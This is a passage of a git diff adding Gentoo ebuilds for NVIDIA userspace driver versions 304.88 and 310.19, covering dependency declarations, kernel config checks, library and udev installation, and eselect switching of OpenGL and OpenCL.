+	X? (
+		<x11-base/xorg-server-1.12.99
+		>=app-admin/eselect-opengl-1.0.9
+	)"
+DEPEND="${COMMON}"
+RDEPEND="${COMMON}
+	X? ( x11-libs/libXvMC )
+        !<x11-drivers/nvidia-userspace-${PV}
+        !>x11-drivers/nvidia-userspace-${PV}
+	acpi? ( sys-power/acpid )
+	tools? ( media-video/nvidia-settings )"
+PDEPEND="X? ( >=x11-libs/libvdpau-0.3-r1 )"
+
+REQUIRED_USE="tools? ( X )"
+QA_PREBUILT=""
+S="${WORKDIR}/"
+
+pkg_pretend() {
+	if use amd64 && has_multilib_profile && \
+		[ "${DEFAULT_ABI}" != "amd64" ]; then
+		eerror "This ebuild doesn't currently support changing your default ABI"
+		die "Unexpected \${DEFAULT_ABI} = ${DEFAULT_ABI}"
+	fi
+
+	# Kernel features/options to check for
+	CONFIG_CHECK="~ZONE_DMA ~MTRR ~SYSVIPC ~!LOCKDEP"
+	use x86 && CONFIG_CHECK+=" ~HIGHMEM"
+
+	# Now do the above checks
+	use kernel_linux && check_extra_config
+}
+
+pkg_setup() {
+	# try to turn off distcc and ccache for people that have a problem with it
+	export DISTCC_DISABLE=1
+	export CCACHE_DISABLE=1
+
+	if use kernel_linux; then
+		linux-mod_pkg_setup
+		MODULE_NAMES="nvidia(video:${S}/kernel)"
+		BUILD_PARAMS="IGNORE_CC_MISMATCH=yes V=1 SYSSRC=${KV_DIR} \
+		SYSOUT=${KV_OUT_DIR} CC=$(tc-getBUILD_CC)"
+		# linux-mod_src_compile calls set_arch_to_kernel, which
+		# sets the ARCH to x86 but NVIDIA's wrapping Makefile
+		# expects x86_64 or i386 and then converts it to x86
+		# later on in the build process
+		BUILD_FIXES="ARCH=$(uname -m | sed -e 's/i.86/i386/')"
+	fi
+
+	# Since Nvidia ships 3 different series of drivers, we need to give the user
+	# some kind of guidance as to what version they should install. This tries
+	# to point the user in the right direction but can't be perfect. check
+	# nvidia-driver.eclass
+	nvidia-driver-check-warning
+
+	# set variables to where files are in the package structure
+	if use kernel_FreeBSD; then
+		use x86-fbsd   && S="${WORKDIR}/${X86_FBSD_NV_PACKAGE}"
+		use amd64-fbsd && S="${WORKDIR}/${AMD64_FBSD_NV_PACKAGE}"
+		NV_DOC="${S}/doc"
+		NV_OBJ="${S}/obj"
+		NV_SRC="${S}/src"
+		NV_MAN="${S}/x11/man"
+		NV_X11="${S}/obj"
+		NV_SOVER=1
+	elif use kernel_linux; then
+		NV_DOC="${S}"
+		NV_OBJ="${S}"
+		NV_SRC="${S}/kernel"
+		NV_MAN="${S}"
+		NV_X11="${S}"
+		NV_SOVER=${PV}
+	else
+		die "Could not determine proper NVIDIA package"
+	fi
+}
+
+src_unpack() {
+	if ! use kernel_FreeBSD; then
+		cd "${S}"
+		unpack_makeself
+	else
+		unpack ${A}
+	fi
+}
+
+src_prepare() {
+	# Please add a brief description for every added patch
+	cat <<- EOF > "${S}"/nvidia.icd
+		/usr/$(get_libdir)/libcuda.so
+	EOF
+
+	# Allow user patches so they can support RC kernels and whatever else
+	epatch_user
+}
+
+src_compile() {
+	# This is already the default on Linux, as there's no toplevel Makefile, but
+	# on FreeBSD there's one and triggers the kernel module build, as we install
+	# it by itself, pass this.
+
+	cd "${NV_SRC}"
+	if use kernel_FreeBSD; then
+		MAKE="$(get_bmake)" CFLAGS="-Wno-sign-compare" emake CC="$(tc-getCC)" \
+			LD="$(tc-getLD)" LDFLAGS="$(raw-ldflags)" || die
+	fi
+}
+
+# Install nvidia library:
+# the first parameter is the library to install
+# the second parameter is the provided soversion
+# the third parameter is the target directory if its not /usr/lib
+donvidia() {
+	# Full path to library minus SOVER
+	MY_LIB="$1"
+
+	# SOVER to use
+	MY_SOVER="$2"
+
+	# Where to install
+	MY_DEST="$3"
+
+	if [[ -z "${MY_DEST}" ]]; then
+		MY_DEST="/usr/$(get_libdir)"
+		action="dolib.so"
+	else
+		exeinto ${MY_DEST}
+		action="doexe"
+	fi
+
+	# Get just the library name
+	libname=$(basename $1)
+
+	# Add it to QA_PREBUILT
+	QA_PREBUILT+=" ${MY_DEST}/${libname}.${MY_SOVER}"
+
+	# Install the library with the correct SOVER
+	${action} ${MY_LIB}.${MY_SOVER} || \
+		die "failed to install ${libname}"
+
+	# If SOVER wasn't 1, then we need to create a .1 symlink
+	if [[ "${MY_SOVER}" != "1" ]]; then
+		dosym ${libname}.${MY_SOVER} \
+			${MY_DEST}/${libname}.1 || \
+			die "failed to create ${libname} symlink"
+	fi
+
+	# Always create the symlink from the raw lib to the .1
+	dosym ${libname}.1 \
+		${MY_DEST}/${libname} || \
+		die "failed to create ${libname} symlink"
+}
+
+src_install() {
+	if use kernel_linux; then
+		VIDEOGROUP="$(egetent group video | cut -d ':' -f 3)"
+		if [ -z "$VIDEOGROUP" ]; then
+			eerror "Failed to determine the video group gid."
+			die "Failed to determine the video group gid."
+		fi
+
+		# Add the aliases
+		[ -f "${FILESDIR}/nvidia-169.07" ] || die "nvidia missing in FILESDIR"
+		sed -e 's:PACKAGE:'${PF}':g' \
+			-e 's:VIDEOGID:'${VIDEOGROUP}':' "${FILESDIR}"/nvidia-169.07 > \
+			"${WORKDIR}"/nvidia
+		insinto /etc/modprobe.d
+		newins "${WORKDIR}"/nvidia nvidia.conf || die
+
+		local udevdir=/lib/udev
+		has_version sys-fs/udev && udevdir="$($(tc-getPKG_CONFIG) --variable=udevdir udev)"
+
+		# Ensures that our device nodes are created when not using X
+		exeinto "${udevdir}"
+		doexe "${FILESDIR}"/nvidia-udev.sh
+
+		insinto "${udevdir}"/rules.d
+		newins "${FILESDIR}"/nvidia.udev-rule 99-nvidia.rules
+	elif use kernel_FreeBSD; then
+		if use x86-fbsd; then
+			insinto /boot/modules
+			doins "${S}/src/nvidia.kld" || die
+		fi
+
+		exeinto /boot/modules
+		doexe "${S}/src/nvidia.ko" || die
+	fi
+
+	# NVIDIA kernel <-> userspace driver config lib
+	donvidia ${NV_OBJ}/libnvidia-cfg.so ${NV_SOVER}
+
+	if use kernel_linux; then
+		# NVIDIA video decode <-> CUDA
+		donvidia ${NV_OBJ}/libnvcuvid.so ${NV_SOVER}
+	fi
+
+	if use X; then
+		# Xorg DDX driver
+		insinto /usr/$(get_libdir)/xorg/modules/drivers
+		doins ${NV_X11}/nvidia_drv.so || die "failed to install nvidia_drv.so"
+
+		# Xorg GLX driver
+		donvidia ${NV_X11}/libglx.so ${NV_SOVER} \
+			/usr/$(get_libdir)/opengl/nvidia/extensions
+
+		# XvMC driver
+		dolib.a ${NV_X11}/libXvMCNVIDIA.a || \
+			die "failed to install libXvMCNVIDIA.so"
+		donvidia ${NV_X11}/libXvMCNVIDIA.so ${NV_SOVER}
+		dosym libXvMCNVIDIA.so.${NV_SOVER} \
+			/usr/$(get_libdir)/libXvMCNVIDIA_dynamic.so.1 || \
+			die "failed to create libXvMCNVIDIA_dynamic.so symlink"
+	fi
+
+	# OpenCL ICD for NVIDIA
+	if use kernel_linux; then
+		insinto /etc/OpenCL/vendors
+		doins nvidia.icd
+	fi
+
+	# Documentation
+	dohtml ${NV_DOC}/html/*
+	if use kernel_FreeBSD; then
+		dodoc "${NV_DOC}/README"
+		use X && doman "${NV_MAN}/nvidia-xconfig.1"
+	else
+		# Docs
+		newdoc "${NV_DOC}/README.txt" README
+		dodoc "${NV_DOC}/NVIDIA_Changelog"
+		doman "${NV_MAN}/nvidia-smi.1.gz"
+		use X && doman "${NV_MAN}/nvidia-xconfig.1.gz"
+		doman "${NV_MAN}/nvidia-cuda-proxy-control.1.gz"
+	fi
+
+	# Helper Apps
+	exeinto /opt/bin/
+	if use X; then
+		doexe ${NV_OBJ}/nvidia-xconfig || die
+	fi
+
+	if use kernel_linux ; then
+		doexe ${NV_OBJ}/nvidia-debugdump || die
+		doexe ${NV_OBJ}/nvidia-cuda-proxy-control || die
+		doexe ${NV_OBJ}/nvidia-cuda-proxy-server || die
+		doexe ${NV_OBJ}/nvidia-smi || die
+		newinitd "${FILESDIR}/nvidia-smi.init" nvidia-smi
+	fi
+
+	exeinto /usr/bin/
+	doexe ${NV_OBJ}/nvidia-bug-report.sh || die
+
+	if has_multilib_profile && use multilib ; then
+		local OABI=${ABI}
+		for ABI in $(get_install_abis) ; do
+			src_install-libs
+		done
+		ABI=${OABI}
+		unset OABI
+	else
+		src_install-libs
+	fi
+
+	is_final_abi || die "failed to iterate through all ABIs"
+
+	# GNOME3 gnome-terminal redraw bug workaround,
+	# see: https://bugzilla.gnome.org/show_bug.cgi?id=664858
+	doenvd "${FILESDIR}/90mutter-disable-culling"
+}
+
+src_install-libs() {
+	local inslibdir=$(get_libdir)
+	local GL_ROOT="/usr/$(get_libdir)/opengl/nvidia/lib"
+	local CL_ROOT="/usr/$(get_libdir)/OpenCL/vendors/nvidia"
+	local libdir=${NV_OBJ}
+
+	if use kernel_linux && has_multilib_profile && \
+			[[ ${ABI} == "x86" ]] ; then
+		libdir=${NV_OBJ}/32
+	fi
+
+	if use X; then
+		# The GLX libraries
+		donvidia ${libdir}/libGL.so ${NV_SOVER} ${GL_ROOT}
+		donvidia ${libdir}/libnvidia-glcore.so ${NV_SOVER}
+		if use kernel_FreeBSD; then
+			donvidia ${libdir}/libnvidia-tls.so ${NV_SOVER} ${GL_ROOT}
+		else
+			donvidia ${libdir}/tls/libnvidia-tls.so ${NV_SOVER} ${GL_ROOT}
+ 		fi
+
+		# VDPAU
+		donvidia ${libdir}/libvdpau_nvidia.so ${NV_SOVER}
+	fi
+
+	# NVIDIA monitoring library
+	if use kernel_linux ; then
+		donvidia ${libdir}/libnvidia-ml.so ${NV_SOVER}
+	fi
+
+	# CUDA & OpenCL
+	if use kernel_linux; then
+		donvidia ${libdir}/libcuda.so ${NV_SOVER}
+		donvidia ${libdir}/libnvidia-compiler.so ${NV_SOVER}
+		donvidia ${libdir}/libOpenCL.so 1.0.0 ${CL_ROOT}
+	fi
+}
+
+pkg_preinst() {
+	# Clean the dynamic libGL stuff's home to ensure
+	# we dont have stale libs floating around
+	if [ -d "${ROOT}"/usr/lib/opengl/nvidia ] ; then
+		rm -rf "${ROOT}"/usr/lib/opengl/nvidia/*
+	fi
+	# Make sure we nuke the old nvidia-glx's env.d file
+	if [ -e "${ROOT}"/etc/env.d/09nvidia ] ; then
+		rm -f "${ROOT}"/etc/env.d/09nvidia
+	fi
+}
+
+pkg_postinst() {
+	# Switch to the nvidia implementation
+	use X && "${ROOT}"/usr/bin/eselect opengl set --use-old nvidia
+	"${ROOT}"/usr/bin/eselect opencl set --use-old nvidia
+
+	elog "You must be in the video group to use the NVIDIA device"
+	elog "For more info, read the docs at"
+	elog "http://www.gentoo.org/doc/en/nvidia-guide.xml#doc_chap3_sect6"
+	elog
+	elog "To use the NVIDIA GLX, run \"eselect opengl set nvidia\""
+	elog
+	elog "To use the NVIDIA CUDA/OpenCL, run \"eselect opencl set nvidia\""
+	elog
+	elog "NVIDIA has requested that any bug reports submitted have the"
+	elog "output of /opt/bin/nvidia-bug-report.sh included."
+	elog
+	if ! use X; then
+		elog "You have elected to not install the X.org driver. Along with"
+		elog "this the OpenGL libraries, XvMC, and VDPAU libraries were not"
+		elog "installed. Additionally, once the driver is loaded your card"
+		elog "and fan will run at max speed which may not be desirable."
+		elog "Use the 'nvidia-smi' init script to have your card and fan"
+		elog "speed scale appropriately."
+		elog
+	fi
+}
+
+pkg_prerm() {
+	use X && "${ROOT}"/usr/bin/eselect opengl set --use-old xorg-x11
+}
+
+pkg_postrm() {
+	use X && "${ROOT}"/usr/bin/eselect opengl set --use-old xorg-x11
+}
diff --git a/x11-drivers/nvidia-userspace/nvidia-userspace-304.88.ebuild b/x11-drivers/nvidia-userspace/nvidia-userspace-304.88.ebuild
new file mode 100644
index 00000000..eabac720
--- /dev/null
+++ b/x11-drivers/nvidia-userspace/nvidia-userspace-304.88.ebuild
@@ -0,0 +1,379 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=4
+
+inherit eutils flag-o-matic linux-info linux-mod multilib nvidia-driver \
+	portability toolchain-funcs unpacker user versionator udev
+
+X86_NV_PACKAGE="NVIDIA-Linux-x86-${PV}"
+AMD64_NV_PACKAGE="NVIDIA-Linux-x86_64-${PV}"
+X86_FBSD_NV_PACKAGE="NVIDIA-FreeBSD-x86-${PV}"
+AMD64_FBSD_NV_PACKAGE="NVIDIA-FreeBSD-x86_64-${PV}"
+
+DESCRIPTION="NVIDIA X11 userspace libraries and applications"
+HOMEPAGE="http://www.nvidia.com/"
+SRC_URI="x86? ( ftp://download.nvidia.com/XFree86/Linux-x86/${PV}/${X86_NV_PACKAGE}.run )
+	amd64? ( ftp://download.nvidia.com/XFree86/Linux-x86_64/${PV}/${AMD64_NV_PACKAGE}.run )
+	amd64-fbsd? ( ftp://download.nvidia.com/XFree86/FreeBSD-x86_64/${PV}/${AMD64_FBSD_NV_PACKAGE}.tar.gz )
+	x86-fbsd? ( ftp://download.nvidia.com/XFree86/FreeBSD-x86/${PV}/${X86_FBSD_NV_PACKAGE}.tar.gz )"
+
+LICENSE="NVIDIA"
+SLOT="0"
+KEYWORDS="-* ~amd64 ~x86 ~amd64-fbsd ~x86-fbsd"
+IUSE="acpi multilib x-multilib kernel_FreeBSD kernel_linux tools +X"
+RESTRICT="strip"
+EMULTILIB_PKG="true"
+
+COMMON="app-admin/eselect-opencl
+	kernel_linux? ( >=sys-libs/glibc-2.6.1 )
+	x-multilib? ( app-emulation/emul-linux-x86-xlibs )
+	multilib? ( app-emulation/emul-linux-x86-baselibs )
+	X? (
+		<x11-base/xorg-server-1.14.99
+		>=app-admin/eselect-opengl-1.0.9
+	)"
+DEPEND="${COMMON}"
+RDEPEND="${COMMON}
+	X? ( x11-libs/libXvMC )
+        !<x11-drivers/nvidia-userspace-${PV}
+        !>x11-drivers/nvidia-userspace-${PV}
+	acpi? ( sys-power/acpid )
+	tools? ( media-video/nvidia-settings )"
+PDEPEND="X? ( >=x11-libs/libvdpau-0.3-r1 )"
+
+REQUIRED_USE="tools? ( X )"
+QA_PREBUILT="opt/* usr/lib*"
+S="${WORKDIR}/"
+
+pkg_pretend() {
+	if use amd64 && has_multilib_profile && \
+		[ "${DEFAULT_ABI}" != "amd64" ]; then
+		eerror "This ebuild doesn't currently support changing your default ABI"
+		die "Unexpected \${DEFAULT_ABI} = ${DEFAULT_ABI}"
+	fi
+
+	# Kernel features/options to check for
+	CONFIG_CHECK="~ZONE_DMA ~MTRR ~SYSVIPC ~!LOCKDEP"
+	use x86 && CONFIG_CHECK+=" ~HIGHMEM"
+
+	# Now do the above checks
+	use kernel_linux && check_extra_config
+}
+
+pkg_setup() {
+	# try to turn off distcc and ccache for people that have a problem with it
+	export DISTCC_DISABLE=1
+	export CCACHE_DISABLE=1
+
+	if use kernel_linux; then
+		linux-mod_pkg_setup
+		MODULE_NAMES="nvidia(video:${S}/kernel)"
+		BUILD_PARAMS="IGNORE_CC_MISMATCH=yes V=1 SYSSRC=${KV_DIR} \
+		SYSOUT=${KV_OUT_DIR} CC=$(tc-getBUILD_CC)"
+		# linux-mod_src_compile calls set_arch_to_kernel, which
+		# sets the ARCH to x86 but NVIDIA's wrapping Makefile
+		# expects x86_64 or i386 and then converts it to x86
+		# later on in the build process
+		BUILD_FIXES="ARCH=$(uname -m | sed -e 's/i.86/i386/')"
+	fi
+
+	# Since Nvidia ships 3 different series of drivers, we need to give the user
+	# some kind of guidance as to what version they should install. This tries
+	# to point the user in the right direction but can't be perfect. check
+	# nvidia-driver.eclass
+	nvidia-driver-check-warning
+
+	# set variables to where files are in the package structure
+	if use kernel_FreeBSD; then
+		use x86-fbsd   && S="${WORKDIR}/${X86_FBSD_NV_PACKAGE}"
+		use amd64-fbsd && S="${WORKDIR}/${AMD64_FBSD_NV_PACKAGE}"
+		NV_DOC="${S}/doc"
+		NV_OBJ="${S}/obj"
+		NV_SRC="${S}/src"
+		NV_MAN="${S}/x11/man"
+		NV_X11="${S}/obj"
+		NV_SOVER=1
+	elif use kernel_linux; then
+		NV_DOC="${S}"
+		NV_OBJ="${S}"
+		NV_SRC="${S}/kernel"
+		NV_MAN="${S}"
+		NV_X11="${S}"
+		NV_SOVER=${PV}
+	else
+		die "Could not determine proper NVIDIA package"
+	fi
+}
+
+src_unpack() {
+	if ! use kernel_FreeBSD; then
+		cd "${S}"
+		unpack_makeself
+	else
+		unpack ${A}
+	fi
+}
+
+src_prepare() {
+	# Please add a brief description for every added patch
+	cat <<- EOF > "${S}"/nvidia.icd
+		/usr/$(get_libdir)/libnvidia-opencl.so
+	EOF
+
+	# Allow user patches so they can support RC kernels and whatever else
+	epatch_user
+}
+
+src_compile() {
+	# This is already the default on Linux, as there's no toplevel Makefile, but
+	# on FreeBSD there's one and triggers the kernel module build, as we install
+	# it by itself, pass this.
+
+	cd "${NV_SRC}"
+	if use kernel_FreeBSD; then
+		MAKE="$(get_bmake)" CFLAGS="-Wno-sign-compare" emake CC="$(tc-getCC)" \
+			LD="$(tc-getLD)" LDFLAGS="$(raw-ldflags)" || die
+	fi
+}
+
+# Install nvidia library:
+# the first parameter is the library to install
+# the second parameter is the provided soversion
+# the third parameter is the target directory if its not /usr/lib
+donvidia() {
+	# Full path to library minus SOVER
+	MY_LIB="$1"
+
+	# SOVER to use
+	MY_SOVER="$2"
+
+	# Where to install
+	MY_DEST="$3"
+
+	if [[ -z "${MY_DEST}" ]]; then
+		MY_DEST="/usr/$(get_libdir)"
+		action="dolib.so"
+	else
+		exeinto ${MY_DEST}
+		action="doexe"
+	fi
+
+	# Get just the library name
+	libname=$(basename $1)
+
+	# Install the library with the correct SOVER
+	${action} ${MY_LIB}.${MY_SOVER} || \
+		die "failed to install ${libname}"
+
+	# If SOVER wasn't 1, then we need to create a .1 symlink
+	if [[ "${MY_SOVER}" != "1" ]]; then
+		dosym ${libname}.${MY_SOVER} \
+			${MY_DEST}/${libname}.1 || \
+			die "failed to create ${libname} symlink"
+	fi
+
+	# Always create the symlink from the raw lib to the .1
+	dosym ${libname}.1 \
+		${MY_DEST}/${libname} || \
+		die "failed to create ${libname} symlink"
+}
+
+src_install() {
+	if use kernel_linux; then
+		VIDEOGROUP="$(egetent group video | cut -d ':' -f 3)"
+		if [ -z "$VIDEOGROUP" ]; then
+			eerror "Failed to determine the video group gid."
+			die "Failed to determine the video group gid."
+		fi
+
+		# Add the aliases
+		[ -f "${FILESDIR}/nvidia-169.07" ] || die "nvidia missing in FILESDIR"
+		sed -e 's:PACKAGE:'${PF}':g' \
+			-e 's:VIDEOGID:'${VIDEOGROUP}':' "${FILESDIR}"/nvidia-169.07 > \
+			"${WORKDIR}"/nvidia
+		insinto /etc/modprobe.d
+		newins "${WORKDIR}"/nvidia nvidia.conf || die
+
+		# Ensures that our device nodes are created when not using X
+		exeinto "$(udev_get_udevdir)"
+		doexe "${FILESDIR}"/nvidia-udev.sh
+		udev_newrules "${FILESDIR}"/nvidia.udev-rule 99-nvidia.rules
+
+	elif use kernel_FreeBSD; then
+		if use x86-fbsd; then
+			insinto /boot/modules
+			doins "${S}/src/nvidia.kld" || die
+		fi
+
+		exeinto /boot/modules
+		doexe "${S}/src/nvidia.ko" || die
+	fi
+
+	# NVIDIA kernel <-> userspace driver config lib
+	donvidia ${NV_OBJ}/libnvidia-cfg.so ${NV_SOVER}
+
+	if use kernel_linux; then
+		# NVIDIA video decode <-> CUDA
+		donvidia ${NV_OBJ}/libnvcuvid.so ${NV_SOVER}
+	fi
+
+	if use X; then
+		# Xorg DDX driver
+		insinto /usr/$(get_libdir)/xorg/modules/drivers
+		doins ${NV_X11}/nvidia_drv.so || die "failed to install nvidia_drv.so"
+
+		# Xorg GLX driver
+		donvidia ${NV_X11}/libglx.so ${NV_SOVER} \
+			/usr/$(get_libdir)/opengl/nvidia/extensions
+
+		# XvMC driver
+		dolib.a ${NV_X11}/libXvMCNVIDIA.a || \
+			die "failed to install libXvMCNVIDIA.so"
+		donvidia ${NV_X11}/libXvMCNVIDIA.so ${NV_SOVER}
+		dosym libXvMCNVIDIA.so.${NV_SOVER} \
+			/usr/$(get_libdir)/libXvMCNVIDIA_dynamic.so.1 || \
+			die "failed to create libXvMCNVIDIA_dynamic.so symlink"
+	fi
+
+	# OpenCL ICD for NVIDIA
+	if use kernel_linux; then
+		insinto /etc/OpenCL/vendors
+		doins nvidia.icd
+		donvidia ${NV_OBJ}/libnvidia-opencl.so ${NV_SOVER}
+	fi
+
+	# Documentation
+	dohtml ${NV_DOC}/html/*
+	if use kernel_FreeBSD; then
+		dodoc "${NV_DOC}/README"
+		use X && doman "${NV_MAN}/nvidia-xconfig.1"
+	else
+		# Docs
+		newdoc "${NV_DOC}/README.txt" README
+		dodoc "${NV_DOC}/NVIDIA_Changelog"
+		doman "${NV_MAN}/nvidia-smi.1.gz"
+		use X && doman "${NV_MAN}/nvidia-xconfig.1.gz"
+		doman "${NV_MAN}/nvidia-cuda-proxy-control.1.gz"
+	fi
+
+	# Helper Apps
+	exeinto /opt/bin/
+	if use X; then
+		doexe ${NV_OBJ}/nvidia-xconfig || die
+	fi
+
+	if use kernel_linux ; then
+		doexe ${NV_OBJ}/nvidia-debugdump || die
+		doexe ${NV_OBJ}/nvidia-cuda-proxy-control || die
+		doexe ${NV_OBJ}/nvidia-cuda-proxy-server || die
+		doexe ${NV_OBJ}/nvidia-smi || die
+		newinitd "${FILESDIR}/nvidia-smi.init" nvidia-smi
+	fi
+
+	exeinto /usr/bin/
+	doexe ${NV_OBJ}/nvidia-bug-report.sh || die
+
+	if has_multilib_profile && use multilib ; then
+		local OABI=${ABI}
+		for ABI in $(get_install_abis) ; do
+			src_install-libs
+		done
+		ABI=${OABI}
+		unset OABI
+	else
+		src_install-libs
+	fi
+
+	is_final_abi || die "failed to iterate through all ABIs"
+
+	# GNOME3 gnome-terminal redraw bug workaround,
+	# see: https://bugzilla.gnome.org/show_bug.cgi?id=664858
+	doenvd "${FILESDIR}/90mutter-disable-culling"
+}
+
+src_install-libs() {
+	local inslibdir=$(get_libdir)
+	local GL_ROOT="/usr/$(get_libdir)/opengl/nvidia/lib"
+	local CL_ROOT="/usr/$(get_libdir)/OpenCL/vendors/nvidia"
+	local libdir=${NV_OBJ}
+
+	if use kernel_linux && has_multilib_profile && \
+			[[ ${ABI} == "x86" ]] ; then
+		libdir=${NV_OBJ}/32
+	fi
+
+	if use X; then
+		# The GLX libraries
+		donvidia ${libdir}/libGL.so ${NV_SOVER} ${GL_ROOT}
+		donvidia ${libdir}/libnvidia-glcore.so ${NV_SOVER}
+		if use kernel_FreeBSD; then
+			donvidia ${libdir}/libnvidia-tls.so ${NV_SOVER} ${GL_ROOT}
+		else
+			donvidia ${libdir}/tls/libnvidia-tls.so ${NV_SOVER} ${GL_ROOT}
+		fi
+
+		# VDPAU
+		donvidia ${libdir}/libvdpau_nvidia.so ${NV_SOVER}
+	fi
+
+	# NVIDIA monitoring library
+	if use kernel_linux ; then
+		donvidia ${libdir}/libnvidia-ml.so ${NV_SOVER}
+	fi
+
+	# CUDA & OpenCL
+	if use kernel_linux; then
+		donvidia ${libdir}/libcuda.so ${NV_SOVER}
+		donvidia ${libdir}/libnvidia-compiler.so ${NV_SOVER}
+		donvidia ${libdir}/libOpenCL.so 1.0.0 ${CL_ROOT}
+	fi
+}
+
+pkg_preinst() {
+	# Clean the dynamic libGL stuff's home to ensure
+	# we dont have stale libs floating around
+	if [ -d "${ROOT}"/usr/lib/opengl/nvidia ] ; then
+		rm -rf "${ROOT}"/usr/lib/opengl/nvidia/*
+	fi
+	# Make sure we nuke the old nvidia-glx's env.d file
+	if [ -e "${ROOT}"/etc/env.d/09nvidia ] ; then
+		rm -f "${ROOT}"/etc/env.d/09nvidia
+	fi
+}
+
+pkg_postinst() {
+	# Switch to the nvidia implementation
+	use X && "${ROOT}"/usr/bin/eselect opengl set --use-old nvidia
+	"${ROOT}"/usr/bin/eselect opencl set --use-old nvidia
+
+	elog "You must be in the video group to use the NVIDIA device"
+	elog "For more info, read the docs at"
+	elog "http://www.gentoo.org/doc/en/nvidia-guide.xml#doc_chap3_sect6"
+	elog
+	elog "To use the NVIDIA GLX, run \"eselect opengl set nvidia\""
+	elog
+	elog "To use the NVIDIA CUDA/OpenCL, run \"eselect opencl set nvidia\""
+	elog
+	elog "NVIDIA has requested that any bug reports submitted have the"
+	elog "output of /opt/bin/nvidia-bug-report.sh included."
+	elog
+	if ! use X; then
+		elog "You have elected to not install the X.org driver. Along with"
+		elog "this the OpenGL libraries, XvMC, and VDPAU libraries were not"
+		elog "installed. Additionally, once the driver is loaded your card"
+		elog "and fan will run at max speed which may not be desirable."
+		elog "Use the 'nvidia-smi' init script to have your card and fan"
+		elog "speed scale appropriately."
+		elog
+	fi
+}
+
+pkg_prerm() {
+	use X && "${ROOT}"/usr/bin/eselect opengl set --use-old xorg-x11
+}
+
+pkg_postrm() {
+	use X && "${ROOT}"/usr/bin/eselect opengl set --use-old xorg-x11
+}
diff --git a/x11-drivers/nvidia-userspace/nvidia-userspace-310.19.ebuild b/x11-drivers/nvidia-userspace/nvidia-userspace-310.19.ebuild
new file mode 100644
index 00000000..636221f7
--- /dev/null
+++ b/x11-drivers/nvidia-userspace/nvidia-userspace-310.19.ebuild
@@ -0,0 +1,385 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=4
+
+inherit eutils flag-o-matic linux-info linux-mod multilib nvidia-driver \
+	portability toolchain-funcs unpacker user versionator
+
+X86_NV_PACKAGE="NVIDIA-Linux-x86-${PV}"
+AMD64_NV_PACKAGE="NVIDIA-Linux-x86_64-${PV}"
+X86_FBSD_NV_PACKAGE="NVIDIA-FreeBSD-x86-${PV}"
+AMD64_FBSD_NV_PACKAGE="NVIDIA-FreeBSD-x86_64-${PV}"
+
+DESCRIPTION="NVIDIA X11 userspace libraries and applications"
+HOMEPAGE="http://www.nvidia.com/"
+SRC_URI="x86? ( http://us.download.nvidia.com/XFree86/Linux-x86/${PV}/${X86_NV_PACKAGE}.run )
+	 amd64? ( http://us.download.nvidia.com/XFree86/Linux-x86_64/${PV}/${AMD64_NV_PACKAGE}.run )
+	 amd64-fbsd? ( http://us.download.nvidia.com/XFree86/FreeBSD-x86_64/${PV}/${AMD64_FBSD_NV_PACKAGE}.tar.gz )
+	 x86-fbsd? ( http://us.download.nvidia.com/XFree86/FreeBSD-x86/${PV}/${X86_FBSD_NV_PACKAGE}.tar.gz )"
+
+LICENSE="NVIDIA"
+SLOT="0"
+KEYWORDS="-* ~amd64 ~x86 ~amd64-fbsd ~x86-fbsd"
+IUSE="acpi multilib x-multilib kernel_FreeBSD kernel_linux tools +X"
+RESTRICT="strip"
+EMULTILIB_PKG="true"
+
+COMMON="app-admin/eselect-opencl
+	kernel_linux? ( >=sys-libs/glibc-2.6.1 )
+	x-multilib? ( app-emulation/emul-linux-x86-xlibs )
+	multilib? ( app-emulation/emul-linux-x86-baselibs )
+	X? (
+		<x11-base/xorg-server-1.12.99
+		>=app-admin/eselect-opengl-1.0.9
+	)"
+DEPEND="${COMMON}"
+RDEPEND="${COMMON}
+	X? ( x11-libs/libXvMC )
+        !<x11-drivers/nvidia-userspace-${PV}
+        !>x11-drivers/nvidia-userspace-${PV}
+	acpi? ( sys-power/acpid )
+	tools? ( media-video/nvidia-settings )"
+PDEPEND="X? ( >=x11-libs/libvdpau-0.3-r1 )"
+
+REQUIRED_USE="tools? ( X )"
+QA_PREBUILT=""
+S="${WORKDIR}/"
+
+pkg_pretend() {
+	if use amd64 && has_multilib_profile && \
+		[ "${DEFAULT_ABI}" != "amd64" ]; then
+		eerror "This ebuild doesn't currently support changing your default ABI"
+		die "Unexpected \${DEFAULT_ABI} = ${DEFAULT_ABI}"
+	fi
+
+	# Kernel features/options to check for
+	CONFIG_CHECK="~ZONE_DMA ~MTRR ~SYSVIPC ~!LOCKDEP"
+	use x86 && CONFIG_CHECK+=" ~HIGHMEM"
+
+	# Now do the above checks
+	use kernel_linux && check_extra_config
+}
+
+pkg_setup() {
+	# try to turn off distcc and ccache for people that have a problem with it
+	export DISTCC_DISABLE=1
+	export CCACHE_DISABLE=1
+
+	if use kernel_linux; then
+		linux-mod_pkg_setup
+		MODULE_NAMES="nvidia(video:${S}/kernel)"
+		BUILD_PARAMS="IGNORE_CC_MISMATCH=yes V=1 SYSSRC=${KV_DIR} \
+		SYSOUT=${KV_OUT_DIR} CC=$(tc-getBUILD_CC)"
+		# linux-mod_src_compile calls set_arch_to_kernel, which
+		# sets the ARCH to x86 but NVIDIA's wrapping Makefile
+		# expects x86_64 or i386 and then converts it to x86
+		# later on in the build process
+		BUILD_FIXES="ARCH=$(uname -m | sed -e 's/i.86/i386/')"
+	fi
+
+	# Since Nvidia ships 3 different series of drivers, we need to give the user
+	# some kind of guidance as to what version they should install. This tries
+	# to point the user in the right direction but can't be perfect. check
+	# nvidia-driver.eclass
+	nvidia-driver-check-warning
+
+	# set variables to where files are in the package structure
+	if use kernel_FreeBSD; then
+		use x86-fbsd   && S="${WORKDIR}/${X86_FBSD_NV_PACKAGE}"
+		use amd64-fbsd && S="${WORKDIR}/${AMD64_FBSD_NV_PACKAGE}"
+		NV_DOC="${S}/doc"
+		NV_OBJ="${S}/obj"
+		NV_SRC="${S}/src"
+		NV_MAN="${S}/x11/man"
+		NV_X11="${S}/obj"
+		NV_SOVER=1
+	elif use kernel_linux; then
+		NV_DOC="${S}"
+		NV_OBJ="${S}"
+		NV_SRC="${S}/kernel"
+		NV_MAN="${S}"
+		NV_X11="${S}"
+		NV_SOVER=${PV}
+	else
+		die "Could not determine proper NVIDIA package"
+	fi
+}
+
